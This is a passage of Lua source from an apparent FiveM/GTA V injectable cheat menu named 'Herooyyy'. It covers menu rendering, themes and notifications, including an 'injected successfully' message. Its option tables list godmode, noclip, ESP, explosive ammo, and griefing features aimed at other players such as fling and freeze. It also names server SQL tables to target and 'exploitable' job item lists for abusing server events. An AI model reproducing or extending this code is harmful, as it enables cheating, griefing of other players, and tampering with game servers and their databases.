2204 callback(currentIndex, selectedIndex)
2205 return true
2206 elseif isCurrent then
2207 if Herooyyy.menuProps.currentKey == Herooyyy.menuProps.keys.left then
2208 if currentIndex > 1 then currentIndex = currentIndex - 1 else currentIndex = itemsCount end
2209 elseif Herooyyy.menuProps.currentKey == Herooyyy.menuProps.keys.right then
2210 if currentIndex < itemsCount then currentIndex = currentIndex + 1 else currentIndex = 1 end
2211 end
2212 else
2213 currentIndex = selectedIndex
2214 end
2215
2216 callback(currentIndex, selectedIndex)
2217 return false
2218end
2219
2220function Herooyyy.comboBoxSlider(text, items, currentIndex, selectedIndex, callback)
2221 local itemsCount = #items
2222 local selectedItem = items[currentIndex]
2223 local isCurrent = Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].currentOption == (Herooyyy.menuProps.optionCount + 1)
2224
2225 if itemsCount > 1 and isCurrent then
2226 selectedItem = tostring(selectedItem)
2227 end
2228
2229 if Herooyyy.button3(text, items, itemsCount, currentIndex) then
2230 selectedIndex = currentIndex
2231 callback(currentIndex, selectedIndex)
2232 return true
2233 elseif isCurrent then
2234 if Herooyyy.menuProps.currentKey == Herooyyy.menuProps.keys.left then
2235 if currentIndex > 1 then currentIndex = currentIndex - 1
2236 elseif currentIndex == 1 then currentIndex = 1 end
2237 elseif Herooyyy.menuProps.currentKey == Herooyyy.menuProps.keys.right then
2238 if currentIndex < itemsCount then currentIndex = currentIndex + 1
2239 elseif currentIndex == itemsCount then currentIndex = itemsCount end
2240 end
2241 else
2242 currentIndex = selectedIndex
2243 end
2244 callback(currentIndex, selectedIndex)
2245 return false
2246end
2247
2248function Herooyyy.drawButton3(text, items, itemsCount, currentIndex)
2249 local x = Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].x + Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].width / 2
2250 local multiplier = nil
2251
2252 if Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].currentOption <= Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].maxOptionCount and Herooyyy.menuProps.optionCount <= Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].maxOptionCount then
2253 multiplier = Herooyyy.menuProps.optionCount
2254 elseif Herooyyy.menuProps.optionCount > Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].currentOption - Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].maxOptionCount and Herooyyy.menuProps.optionCount <= Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].currentOption then
2255 multiplier = Herooyyy.menuProps.optionCount - (Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].currentOption - Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].maxOptionCount)
2256 end
2257
2258 if multiplier then
2259 local y = Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].y + Herooyyy.menuProps.titleHeight + Herooyyy.menuProps.buttonHeight + (Herooyyy.menuProps.buttonHeight * multiplier) - Herooyyy.menuProps.buttonHeight / 2
2260 local backgroundColor = nil
2261 local textColor = nil
2262 local subTextColor = nil
2263 local rectBackgroundColor = nil
2264 local rectBackgroundLine = nil
2265 local shadow = false
2266
2267 if Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].currentOption == Herooyyy.menuProps.optionCount then
2268 backgroundColor = Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].menuFocusBackgroundColor
2269 textColor = Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].menuFocusTextColor
2270 subTextColor = Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].menuFocusTextColor
2271 rectBackgroundColor = { r = Herooyyy.mainColor.r, g = Herooyyy.mainColor.g, b = Herooyyy.mainColor.b, a = 255 }
2272 rectBackgroundLine = { r = Herooyyy.mainColor.r, g = Herooyyy.mainColor.g, b = Herooyyy.mainColor.b, a = 255 }
2273 else
2274 backgroundColor = Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].menuBackgroundColor
2275 textColor = Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].menuTextColor
2276 subTextColor = Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].menuSubTextColor
2277 rectBackgroundColor = Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].menuTextColor
2278 rectBackgroundLine = {r = 155, g = 155, b = 155, a = 150}
2279 shadow = true
2280 end
2281
2282 local sliderWidth = ((Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].width / 3) / itemsCount)
2283 local subtractionToX = ((sliderWidth * (currentIndex + 1)) - (sliderWidth * currentIndex)) / 2
2284
2285 local XOffset = 0.16
2286 local stabilizer = 1
2287
2288 --[[ Draw order from top to bottom]]
2289 if itemsCount >= 40 then
2290 stabilizer = 1.005
2291 end
2292
2293 Herooyyy.drawRect(x, y, Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].width, Herooyyy.menuProps.buttonHeight, backgroundColor) --[[ Button Rectangle -2.15]]
2294 Herooyyy.drawRect(((Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].x + 0.1675) + (subtractionToX * itemsCount)) / stabilizer, y, sliderWidth * (itemsCount - 1) + 0.001, Herooyyy.menuProps.buttonHeight / 2 + 0.002, rectBackgroundLine)
2295 Herooyyy.drawRect(((Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].x + 0.1675) + (subtractionToX * itemsCount)) / stabilizer, y, sliderWidth * (itemsCount - 1), Herooyyy.menuProps.buttonHeight / 2, {r = 10, g = 10, b = 10, a = 150})
2296 Herooyyy.drawRect(((Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].x + 0.1675) + (subtractionToX * currentIndex)) / stabilizer, y, sliderWidth * (currentIndex - 1), Herooyyy.menuProps.buttonHeight / 2, rectBackgroundColor)
2297 Herooyyy.drawText(text, Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].x + Herooyyy.menuProps.buttonTextXOffset, y - (Herooyyy.menuProps.buttonHeight / 2) + Herooyyy.menuProps.buttonTextYOffset, Herooyyy.menuProps.buttonFont, textColor, Herooyyy.menuProps.buttonScale, false, shadow)
2298
2299 local CurrentItem = tostring(items[currentIndex])
2300 if string.len(CurrentItem) == 1 then XOffset = 0.1650
2301 elseif string.len(CurrentItem) == 2 then XOffset = 0.1625
2302 elseif string.len(CurrentItem) == 3 then XOffset = 0.16015
2303 elseif string.len(CurrentItem) == 4 then XOffset = 0.1585
2304 elseif string.len(CurrentItem) == 5 then XOffset = 0.1570
2305 elseif string.len(CurrentItem) >= 6 then XOffset = 0.1555
2306 end
2307
2308 Herooyyy.drawText(items[currentIndex], ((Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].x + XOffset) + 0.04) / stabilizer, y - (Herooyyy.menuProps.buttonHeight / 2.15) + Herooyyy.menuProps.buttonTextYOffset, Herooyyy.menuProps.buttonFont, {r = 255, g = 255, b = 255, a = 255}, Herooyyy.menuProps.buttonScale, false, shadow) --[[ Current Item Text]]
2309
2310 if Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].currentOption == Herooyyy.menuProps.optionCount and Herooyyy.menuProps.menu_RectOverlay then
2311 if not HasStreamedTextureDictLoaded('deadline') then Herooyyy.natives.requestStreamedTextureDict('deadline', true) end
2312 DrawSprite('deadline', 'deadline_trail_01', x, y, Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].width, Herooyyy.menuProps.buttonHeight, 0.0, Herooyyy.mainColor.r, Herooyyy.mainColor.g, Herooyyy.mainColor.b, 55)
2313 end
2314 end
2315end
2316
2317function Herooyyy.button3(text, items, itemsCount, currentIndex)
2318 local buttonText = text
2319
2320 if Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu] then
2321 Herooyyy.menuProps.optionCount = Herooyyy.menuProps.optionCount + 1
2322
2323 local isCurrent = Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].currentOption == Herooyyy.menuProps.optionCount
2324
2325 Herooyyy.drawButton3(text, items, itemsCount, currentIndex)
2326
2327 if isCurrent then
2328 if Herooyyy.menuProps.currentKey == Herooyyy.menuProps.keys.select then
2329 Herooyyy.natives.playSoundFrontend(-1, Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].buttonPressedSound.name, Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].buttonPressedSound.set, true)
2330 Herooyyy.debugPrint(buttonText..' button pressed')
2331 return true
2332 elseif Herooyyy.menuProps.currentKey == Herooyyy.menuProps.keys.left or Herooyyy.menuProps.currentKey == Herooyyy.menuProps.keys.right then
2333 Herooyyy.natives.playSoundFrontend(-1, 'NAV_UP_DOWN', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
2334 end
2335 end
2336
2337 return false
2338 else
2339 Herooyyy.debugPrint('Failed to create '..buttonText..' button: '..tostring(Herooyyy.menuProps.currentMenu)..' menu doesn\'t exist')
2340
2341 return false
2342 end
2343end
2344
2345function Herooyyy.runDrawMenu()
2346 if Herooyyy.isMenuVisible(Herooyyy.menuProps.currentMenu) then
2347 if Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].aboutToBeClosed then
2348 Herooyyy.closeMenu()
2349 else
2350 ClearAllHelpMessages()
2351
2352 Herooyyy.drawTitle()
2353 Herooyyy.drawSubTitle()
2354
2355 Herooyyy.menuProps.currentKey = nil
2356
2357 if IsDisabledControlJustReleased(1, Herooyyy.menuProps.keys.down) then
2358 Herooyyy.natives.playSoundFrontend(-1, 'NAV_UP_DOWN', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
2359
2360 if Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].currentOption < Herooyyy.menuProps.optionCount then
2361 Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].currentOption = Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].currentOption + 1
2362 else
2363 Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].currentOption = 1
2364 end
2365 elseif IsDisabledControlJustReleased(1, Herooyyy.menuProps.keys.up) then
2366 Herooyyy.natives.playSoundFrontend(-1, 'NAV_UP_DOWN', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
2367
2368 if Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].currentOption > 1 then
2369 Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].currentOption = Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].currentOption - 1
2370 else
2371 Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].currentOption = Herooyyy.menuProps.optionCount
2372 end
2373 elseif IsDisabledControlJustReleased(1, Herooyyy.menuProps.keys.left) then
2374 Herooyyy.menuProps.currentKey = Herooyyy.menuProps.keys.left
2375 elseif IsDisabledControlJustReleased(1, Herooyyy.menuProps.keys.right) then
2376 Herooyyy.menuProps.currentKey = Herooyyy.menuProps.keys.right
2377 elseif IsDisabledControlJustReleased(1, Herooyyy.menuProps.keys.select) then
2378 Herooyyy.menuProps.currentKey = Herooyyy.menuProps.keys.select
2379 elseif IsDisabledControlJustReleased(1, Herooyyy.menuProps.keys.back) then
2380 if Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].previousMenu] then
2381 Herooyyy.natives.playSoundFrontend(-1, 'BACK', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
2382 Herooyyy.setMenuVisible(Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].previousMenu, true)
2383 else
2384 Herooyyy.closeMenu()
2385 end
2386 end
2387
2388 Herooyyy.menuProps.optionCount = 0
2389 end
2390 end
2391end
2392function Herooyyy.setMenuWidth(id, width)
2393 Herooyyy.setMenuProperty(id, 'width', width)
2394end
2395
2396function Herooyyy.setMenuX(id, x)
2397 Herooyyy.setMenuProperty(id, 'x', x)
2398end
2399
2400function Herooyyy.setMenuY(id, y)
2401 Herooyyy.setMenuProperty(id, 'y', y)
2402end
2403
2404function Herooyyy.setMenuMaxOptionCountOnScreen(id, count)
2405 Herooyyy.setMenuProperty(id, 'maxOptionCount', count)
2406end
2407
2408function Herooyyy.setTitle(id, title)
2409 Herooyyy.setMenuProperty(id, 'title', title)
2410end
2411
2412function Herooyyy.setTitleColor(id, r, g, b, a)
2413 Herooyyy.setMenuProperty(id, 'titleColor', { ['r'] = r, ['g'] = g, ['b'] = b, ['a'] = a or Herooyyy.menuProps.shitMenus[id].titleColor.a })
2414end
2415
2416function Herooyyy.setTitleBackgroundColor(id, r, g, b, a)
2417 Herooyyy.setMenuProperty(id, 'titleBackgroundColor', { ['r'] = r, ['g'] = g, ['b'] = b, ['a'] = a or Herooyyy.menuProps.shitMenus[id].titleBackgroundColor.a })
2418end
2419
2420function Herooyyy.setTitleBackgroundSprite(id, textureDict, textureName)
2421 Herooyyy.natives.requestStreamedTextureDict(textureDict)
2422 Herooyyy.setMenuProperty(id, 'titleBackgroundSprite', { dict = textureDict, name = textureName })
2423end
2424
2425function Herooyyy.setTitleBackgroundSpriteNil(id)
2426 Herooyyy.setMenuProperty(id, 'titleBackgroundSprite', nil)
2427end
2428
2429function Herooyyy.setSubTitle(id, text)
2430 Herooyyy.setMenuProperty(id, 'subTitle', text)
2431end
2432
2433function Herooyyy.setMenuBackgroundColor(id, r, g, b, a)
2434 Herooyyy.setMenuProperty(id, 'menuBackgroundColor', { ['r'] = r, ['g'] = g, ['b'] = b, ['a'] = a or Herooyyy.menuProps.shitMenus[id].menuBackgroundColor.a })
2435end
2436function Herooyyy.setMenuSubTitleBackgroundColor(id, r, g, b, a)
2437 Herooyyy.setMenuProperty(id, 'subTitleBackgroundColor', { ['r'] = r, ['g'] = g, ['b'] = b, ['a'] = a or Herooyyy.menuProps.shitMenus[id].subTitleBackgroundColor.a })
2438end
2439
2440function Herooyyy.setMenuTextColor(id, r, g, b, a)
2441 Herooyyy.setMenuProperty(id, 'menuTextColor', { ['r'] = r, ['g'] = g, ['b'] = b, ['a'] = a or Herooyyy.menuProps.shitMenus[id].menuTextColor.a })
2442end
2443
2444function Herooyyy.setMenuSubTextColor(id, r, g, b, a)
2445 Herooyyy.setMenuProperty(id, 'menuSubTextColor', { ['r'] = r, ['g'] = g, ['b'] = b, ['a'] = a or Herooyyy.menuProps.shitMenus[id].menuSubTextColor.a })
2446end
2447
2448function Herooyyy.setMenuFocusTextColor(id, r, g, b, a)
2449 Herooyyy.setMenuProperty(id, 'menuFocusTextColor', { ['r'] = r, ['g'] = g, ['b'] = b, ['a'] = a or Herooyyy.menuProps.shitMenus[id].menuFocusTextColor.a })
2450end
2451
2452function Herooyyy.setMenuFocusColor(id, r, g, b, a)
2453 Herooyyy.setMenuProperty(id, 'menuFocusColor', { ['r'] = r, ['g'] = g, ['b'] = b, ['a'] = a or Herooyyy.menuProps.shitMenus[id].menuFocusColor.a })
2454end
2455
2456function Herooyyy.setMenuButtonPressedSound(id, name, set)
2457 Herooyyy.setMenuProperty(id, 'buttonPressedSound', { ['name'] = name, ['set'] = set })
2458end
2459
2460function Herooyyy.setFont(id, font)
2461 Herooyyy.menuProps.buttonFont = font
2462 Herooyyy.menuProps.shitMenus[id].titleFont = font
2463end
2464local _be_aN = be_aN
2465function Herooyyy.setMaxOptionCount(id, count)
2466 Herooyyy.setMenuProperty(id, 'maxOptionCount', count)
2467end
2468
2469function Herooyyy.setMenuFocusBackgroundColor(id, r, g, b, a)
2470 Herooyyy.setMenuProperty(id, 'menuFocusBackgroundColor', {['r'] = r, ['g'] = g, ['b'] = b, ['a'] = a or Herooyyy.menuProps.shitMenus[id].menuFocusBackgroundColor.a})
2471end
2472
2473pCreateThread(function()
2474 --[[Handle rainbow theme]]
2475 while Herooyyy.shouldShowMenu do pWait(0)
2476 Herooyyy.menuProps.rainbowInt = Herooyyy.trashFunctions.returnRGB(0.2)
2477 if Herooyyy.menuProps.selectedThemeRainbow then
2478 Herooyyy.mainColor = {
2479 r = Herooyyy.menuProps.rainbowInt.r,
2480 g = Herooyyy.menuProps.rainbowInt.g,
2481 b = Herooyyy.menuProps.rainbowInt.b,
2482 a = 255
2483 }
2484 end
2485 end
2486end)
2487function Herooyyy.setTheme(id)
2488 if Herooyyy.menuProps.selectedTheme == 'Light' then
2489 Herooyyy.mainColor = {
2490 r = 89,
2491 g = 173,
2492 b = 218,
2493 a = 255
2494 }
2495 Herooyyy.setTitleBackgroundSprite(id, 'commonmenu', 'interaction_bgd')
2496 Herooyyy.setMenuBackgroundColor(id, 45, 45, 45, 225)
2497 Herooyyy.setMenuFocusBackgroundColor(id, 25, 25, 25, 225)
2498 Herooyyy.setMenuSubTitleBackgroundColor(id, 0, 0, 0, 255)
2499 Herooyyy.setTitleBackgroundColor(id, Herooyyy.mainColor.r, Herooyyy.mainColor.g, Herooyyy.mainColor.b, 255)
2500 Herooyyy.setTitleColor(id, 255, 255, 255, 255)
2501 Herooyyy.setMenuTextColor(id, 150, 150, 150)
2502 Herooyyy.setMenuFocusTextColor(id, 175, 175, 175, 255)
2503 Herooyyy.setMenuSubTextColor(id, 155, 155, 155, 225)
2504 Herooyyy.setFont(id, 4)
2505 Herooyyy.setMenuX(id, 0.025)
2506 Herooyyy.setMenuY(id, 0.3)
2507 Herooyyy.setMenuWidth(id, 0.25)
2508 Herooyyy.setMaxOptionCount(id, Herooyyy.menuProps.maximumOptionCount)
2509
2510 Herooyyy.menuProps.titleHeight = 0.0525
2511 Herooyyy.menuProps.titleXOffset = 0.15
2512 Herooyyy.menuProps.titleYOffset = 0.00485
2513 Herooyyy.menuProps.titleScale = 0.7
2514 Herooyyy.menuProps.titleSpacing = 2.0
2515 Herooyyy.menuProps.buttonHeight = 0.035
2516 Herooyyy.menuProps.buttonScale = 0.360
2517 Herooyyy.menuProps.buttonTextXOffset = 0.003
2518 Herooyyy.menuProps.buttonTextYOffset = 0.0025
2519
2520 Herooyyy.menuTabsColors = {
2521 selfOptions = {r=255, g=255, b=255},
2522 onlineOptions = {r=255, g=255, b=255},
2523 visualOptions = {r=255, g=255, b=255},
2524 teleportOptions = {r=255, g=255, b=255},
2525 vehicleOptions = {r=255, g=255, b=255},
2526 weaponOptions = {r=255, g=255, b=255},
2527 serverOptions = {r=255, g=255, b=255},
2528 menuOptions = {r=255, g=255, b=255}
2529 }
2530 elseif Herooyyy.menuProps.selectedTheme == 'Dark' then
2531 Herooyyy.mainColor = {
2532 r = 225,
2533 g = 55,
2534 b = 55,
2535 a = 255
2536 }
2537 Herooyyy.setTitleBackgroundSprite(id, 'shopui_title_sm_hangar', 'shopui_title_sm_hangar')
2538 --[[Herooyyy.setTitleBackgroundSpriteNil(id)]]
2539 Herooyyy.setMenuBackgroundColor(id, 25, 25, 25, 225)
2540 Herooyyy.setMenuFocusBackgroundColor(id, 50, 50, 50, 230)
2541 Herooyyy.setMenuSubTitleBackgroundColor(id, 35, 35, 35, 255)
2542 Herooyyy.setTitleBackgroundColor(id, 15, 15, 15, 255)
2543 Herooyyy.setTitleColor(id, 135, 135, 135, 255)
2544 Herooyyy.setMenuTextColor(id, 150, 150, 150)
2545 Herooyyy.setMenuFocusTextColor(id, 155, 155, 155, 255)
2546 Herooyyy.setMenuSubTextColor(id, 70, 70, 70, 255)
2547 Herooyyy.setFont(id, 4)
2548 Herooyyy.setMenuX(id, 0.025)
2549 Herooyyy.setMenuY(id, 0.3)
2550 Herooyyy.setMenuWidth(id, 0.25)
2551 Herooyyy.setMaxOptionCount(id, Herooyyy.menuProps.maximumOptionCount)
2552
2553 Herooyyy.menuProps.titleHeight = 0.0525
2554 Herooyyy.menuProps.titleXOffset = 0.15
2555 Herooyyy.menuProps.titleYOffset = 0.00485
2556 Herooyyy.menuProps.titleScale = 0.7
2557 Herooyyy.menuProps.titleSpacing = 2.0
2558 Herooyyy.menuProps.buttonHeight = 0.035
2559 Herooyyy.menuProps.buttonScale = 0.360
2560 Herooyyy.menuProps.buttonTextXOffset = 0.003
2561 Herooyyy.menuProps.buttonTextYOffset = 0.0025
2562
2563 Herooyyy.menuTabsColors = {
2564 selfOptions = {r=255, g=255, b=255},
2565 onlineOptions = {r=255, g=255, b=255},
2566 visualOptions = {r=255, g=255, b=255},
2567 teleportOptions = {r=255, g=255, b=255},
2568 vehicleOptions = {r=255, g=255, b=255},
2569 weaponOptions = {r=255, g=255, b=255},
2570 serverOptions = {r=255, g=255, b=255},
2571 menuOptions = {r=255, g=255, b=255}
2572 }
2573 elseif Herooyyy.menuProps.selectedTheme == 'Classic' then
2574 Herooyyy.mainColor = {
2575 r = 105,
2576 g = 55,
2577 b = 255,
2578 a = 255
2579 }
2580 Herooyyy.setTitleBackgroundSpriteNil(id)
2581 Herooyyy.setMenuBackgroundColor(id, 25, 25, 25, 225)
2582 Herooyyy.setMenuFocusBackgroundColor(id, 50, 50, 50, 230)
2583 Herooyyy.setMenuSubTitleBackgroundColor(id, 35, 35, 35, 255)
2584 Herooyyy.setTitleBackgroundColor(id, 15, 15, 15, 255)
2585 Herooyyy.setTitleColor(id, 135, 135, 135, 255)
2586 Herooyyy.setMenuTextColor(id, 150, 150, 150)
2587 Herooyyy.setMenuFocusTextColor(id, 155, 155, 155, 255)
2588 Herooyyy.setMenuSubTextColor(id, 70, 70, 70, 255)
2589 Herooyyy.setFont(id, 4)
2590 Herooyyy.setMenuX(id, 0.025)
2591 Herooyyy.setMenuY(id, 0.3)
2592 Herooyyy.setMenuWidth(id, 0.25)
2593 Herooyyy.setMaxOptionCount(id, 12)
2594
2595 Herooyyy.menuProps.titleHeight = 0.0525
2596 Herooyyy.menuProps.titleXOffset = 0.15
2597 Herooyyy.menuProps.titleYOffset = 0.00485
2598 Herooyyy.menuProps.titleScale = 0.7
2599 Herooyyy.menuProps.titleSpacing = 2.0
2600 Herooyyy.menuProps.buttonHeight = 0.035
2601 Herooyyy.menuProps.buttonScale = 0.360
2602 Herooyyy.menuProps.buttonTextXOffset = 0.003
2603 Herooyyy.menuProps.buttonTextYOffset = 0.0025
2604
2605 Herooyyy.menuTabsColors = {
2606 selfOptions = {r=26, g=288, b=156},
2607 onlineOptions = {r=52, g=152, b=219},
2608 visualOptions = {r=236, g=240, b=241},
2609 teleportOptions = {r=241, g=196, b=15},
2610 vehicleOptions = {r=230, g=126, b=34},
2611 weaponOptions = {r=231, g=76, b=60},
2612 serverOptions = {r=155, g=89, b=182},
2613 menuOptions = {r=155, g=89, b=182}
2614 }
2615 end
2616end
2617
2618function Herooyyy.initTheme()
2619 for i = 1, #Herooyyy.menus_list do
2620 Herooyyy.setTheme(Herooyyy.menus_list[i], Herooyyy.menuProps.selectedTheme)
2621 end
2622end
2623
2624--[[
2625 Notifications system
2626]]
2627
2628Herooyyy.addNotification = function(text, ms)
2629 table.insert(Herooyyy.cachedNotifications, { ['text'] = text, ['time'] = ms, ['startTime'] = GetGameTimer() })
2630end
2631
2632Herooyyy.removeNotification = function(id)
2633 table.remove(Herooyyy.cachedNotifications, id)
2634end
2635
2636Herooyyy.draw_3D = function(x, y, text, opacity)
2637 if opacity > 255 then
2638 opacity = 255
2639 elseif opacity < 0 then
2640 opacity = 0
2641 end
2642
2643 Herooyyy.natives.setTextScale(0.35, 0.35)
2644 if Herooyyy.menuProps.menu_TextDropShadow then
2645 Herooyyy.natives.setTextDropShadow(0, 0, 0, 0,255)
2646 end
2647 SetTextEdge(2, 0, 0, 0, 255)
2648 if Herooyyy.menuProps.menu_TextOutline then
2649 Herooyyy.natives.setTextOutline()
2650 end
2651 Herooyyy.natives.setTextFont(4)
2652 Herooyyy.natives.setTextProportional(1)
2653 Herooyyy.natives.setTextColour(255, 255, 255, math.floor(opacity))
2654 Herooyyy.natives.beginTextCommandDisplayText('STRING')
2655 SetTextCentre(1)
2656 Herooyyy.natives.addTextComponentSubstringPlayerName(text)
2657 Herooyyy.natives.endTextCommandDisplayText(x, y)
2658
2659 local factor = string.len(text) / 300
2660
2661 Herooyyy.natives.drawRect(x, y + 0.0135, 0.0155 + factor, 0.03, 25, 25, 25, opacity)
2662 Herooyyy.natives.drawRect(x, y + 0.0125, 0.015 + factor, 0.03, Herooyyy.mainColor.r, Herooyyy.mainColor.g, Herooyyy.mainColor.b, opacity)
2663end
2664
2665Herooyyy.pushNotification = function(text, ms)
2666 if text then
2667 if not ms then ms = 5000 end
2668 Herooyyy.addNotification(text, ms)
2669 end
2670end
2671
2672Herooyyy.pushNotification('Herooyyy injected successfully', 5000)
2673Herooyyy.pushNotification('herooyyy', 10000)
2674
2675Herooyyy.storedControls = {
2676 --[[Self Opts]]
2677 godmode = false,
2678 semiGodmode = false,
2679 infStamina = false,
2680 neverWanted = false,
2681 noClip = false,
2682 invisible = false,
2683 bInvisible = false,
2684 noRagdoll = false,
2685 superJump = false,
2686 magnetoMode = false,
2687 heatVision = false,
2688 nightVision = false,
2689 tinyPlayer = false,
2690 bTinyPlayer = false,
2691 flashmanSP = false,
2692
2693 --[[Vehicle Opts]]
2694 vehGodmode = false,
2695 veh2Step = false,
2696 vehRainbowCol = false,
2697 vehRainbowLights = false,
2698 vehWallride = false,
2699 vehSpawnUpgraded = false,
2700 vehSpawnInside = true,
2701 vehAlwaysWheelie = false,
2702 vehDriftSmoke = false,
2703 currentDisappearFromChase = 1,
2704 selectedDisappearFromChase = 1,
2705
2706 --[[Weapon Opts]]
2707 weapSpawnAsPickup = false,
2708 weapExplosiveAmmo = false,
2709 weapCustomBullet = false,
2710 weaponsDamageMultiplier = {1.0, 2.0, 3.0, 5.0, 10.0, 25.0, 50.0, 250.0, 1000.0},
2711 weaponsDamageMultiplierCurrent = 1,
2712 weaponsDamageMultiplierSelected = 1,
2713 weaponsDamageMultiplierSet = 1,
2714 weaponsGiveAmmoCurrent = 1,
2715 weaponsGiveAmmoSelected = 1,
2716
2717 --[[Visual Opts]]
2718 visPlayerBlips = false,
2719 visForceRadar = false,
2720 visForceGamertags = false,
2721 visForceThirdperson = false,
2722 visESPEnable = false,
2723 visESPShowID = false,
2724 visESPShowName = false,
2725 visESPShowDistance = false,
2726 visESPShowWeapon = false,
2727 visESPShowVehicle = false,
2728 visDrawFPS = false,
2729 visualsESPRefreshRate = 0,
2730 visualsESPRefreshRates = {'0ms', '50ms', '150ms', '250ms', '500ms', '1s', '2s', '5s'},
2731 visualsESPDistanceOps = {50.0, 100.0, 500.0, 1000.0, 2000.0, 5000.0},
2732 visualsESPDistance = 500.0,
2733 currentVisualsESPDistance = 1,
2734 selectedVisualsESPDistance = 1,
2735 currentESPRefreshIndex = 1,
2736 selectedESPRefreshIndex = 1,
2737
2738 --[[Teleport Opts]]
2739 teleShowCoords = false,
2740 currentTeleportToOptions = 1,
2741 selectedTeleportToOptions = 1,
2742
2743 --[[Single Player Opts]]
2744 sPOIsSpectating = false,
2745 sPOFlingPlayer = false,
2746 sPOFlingedPlayer = nil,
2747 spectatedPlayer = nil,
2748 sPOShootAtOptionsCurrent = 1,
2749 sPOShootAtOptionsSelected = 1,
2750
2751 --[[All Players Opts]]
2752 aPOFlyingCars = false,
2753 aPOFreeze = false,
2754 aPODisableDrivingCars = false,
2755 aPONoisyVehs = false,
2756}
2757Herooyyy.menuTables = {
2758 weaponsCustomBullet = {
2759 current = 1,
2760 selected = 1,
2761 actual = 1,
2762 words = {'RPG', 'Firework', 'Flare', 'Tracer Rocket', 'Tank Rocket'},
2763 lists = {'WEAPON_RPG', 'WEAPON_FIREWORK', 'WEAPON_FLAREGUN', 'VEHICLE_WEAPON_PLAYER_LASER', 'VEHICLE_WEAPON_TANK'}
2764 },
2765 vehiclePerformanceTable = {
2766 { name = 'Engine', id = 11 },
2767 { name = 'Brakes', id = 12 },
2768 { name = 'Transmission', id = 13 },
2769 { name = 'Suspension', id = 15 },
2770 { name = 'Armour', id = 16 }
2771 },
2772 serverKashactersSQL = {
2773 current = 1,
2774 selected = 1,
2775 actual = 1,
2776 words = {'User Inventory', 'Owned Vehicles', 'Bills', 'Shops', 'Characters', 'Vehicles'},
2777 lists = {'user_inventory', 'owned_vehicles', 'billing', 'shops', 'characters', 'vehicles'}
2778 },
2779 trollsPropBlock = {
2780 current = 1,
2781 selected = 1,
2782 words = {'Legion Square', 'MRPD', 'PDM'}
2783 },
2784 exploitableJobsTable = {
2785 'Unemployed',
2786 'Mechanic',
2787 'Police',
2788 'Ambulance',
2789 'Taxi',
2790 'Real Estate Agent',
2791 'Car Dealer',
2792 'Banker',
2793 'Gang',
2794 'Mafia',
2795 },
2796 customExploitableItems = {},
2797}
2798
2799Herooyyy.menuTables.exploitableJobsTable.Item = {
2800 'Butcher', 'Tailor', 'Miner', 'Fueler', 'Lumberjack', 'Fisher', 'Hunting', 'Weed', 'Meth', 'Coke', 'Opium'
2801}
2802Herooyyy.menuTables.exploitableJobsTable.ItemDatabase = {
2803 ['Butcher'] = oTable.new{ 'Alive Chicken', 'alive_chicken', 'Slaughtered Chicken', 'slaughtered_chicken', 'Packaged Chicken', 'packaged_chicken' },
2804 ['Tailor'] = oTable.new{ 'Wool', 'wool', 'Fabric', 'fabric', 'Clothes', 'clothe' },
2805 ['Fueler'] = oTable.new{ 'Petrol', 'petrol', 'Refined Petrol', 'petrol_raffin', 'Essence', 'essence' },
2806 ['Miner'] = oTable.new{ 'Stone', 'stone', 'Washed Stone', 'washed_stone', 'Diamond', 'diamond' },
2807 ['Lumberjack'] = oTable.new{ 'Wood', 'wood', 'Cutted Wood', 'cutted_wood', 'Packed Plank', 'packaged_plank' },
